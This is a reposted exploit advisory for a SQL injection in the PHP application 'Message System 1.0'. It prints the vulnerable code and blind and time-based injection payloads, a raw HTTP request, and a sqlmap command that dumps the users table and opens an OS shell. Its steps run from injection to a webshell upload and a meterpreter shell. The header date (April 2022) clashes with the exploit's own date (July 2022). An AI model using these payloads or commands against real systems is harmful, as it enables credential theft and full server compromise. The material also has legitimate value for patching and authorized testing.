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Message System 1.0 SQL Injection

CVE Category Price Severity
N/A CWE-89 Unavailable High
Author Risk Exploitation Type Date
Unknown High Remote 2022-04-05
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022030135

Below is a copy:

Message System 1.0 SQL Injection
# Title: Message System 1.0 1.0 Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 30.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache



# Steps
# 1.- Go to : https://0day.gov//pmms/?page=view_message&id=1
# 2 - manual inject Blind SQli Payload: https://0day.gov/pmms/?page=view_message&id=1' OR NOT 515=515#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell 
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code  php

---
```
<?php 
$qry = $conn->query("SELECT * FROM `conversation_list` where id = '{$_GET['id']}' and (`user_1` = '{$_settings->userdata('id')}' or `user_2` = '{$_settings->userdata('id')}') ");
if($qry->num_rows > 0){
    foreach($qry->fetch_array() as $k => $v){
        if(!is_numeric($k))
            $$k = $v;
    }
    $msg = $conn->query("SELECT m.*,CONCAT(u.firstname,' ', COALESCE(u.middlename,''), ' ', u.lastname) as `name`, u.username, u.avatar FROM `message_list` m inner join users u on m.from_user = u.id  where m.conversation_id = '{$id}' order by unix_timestamp(m.date_updated) asc limit 1 ")->fetch_array();
    $conn->query("UPDATE `message_list` set `status` = 1 where conversation_id = '{$id}' and to_user = '{$_settings->userdata('id')}'");
}
else{
    echo "<script>alert('ID is unknown or you dont have access to view the Message.'); location.replace('./?page=inbox');</script>";
}
?>
```
---
#Status: CRITICAL
[+] Payload GET

---
GET /pmms/?page=view_message&id=1 HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=fcmu4ss9vhq6760poojbtk40bt
Upgrade-Insecure-Requests: 1
---

```
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=view_message&id=1' AND (SELECT 4539 FROM (SELECT(SLEEP(5)))sFek) AND 'MXDw'='MXDw
---


```
#Blind SQLi Time to Rce
#Exploit 


sqlmap -r hejap_0day --dbs --time-sec=10 --tamper=space2comment --threads=5 -p id -D pmms_db -T users --dump  --eta --technique=t --hex --os-shell


# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/HfDGPGT.png
https://i.imgur.com/6RH1Wvi.png

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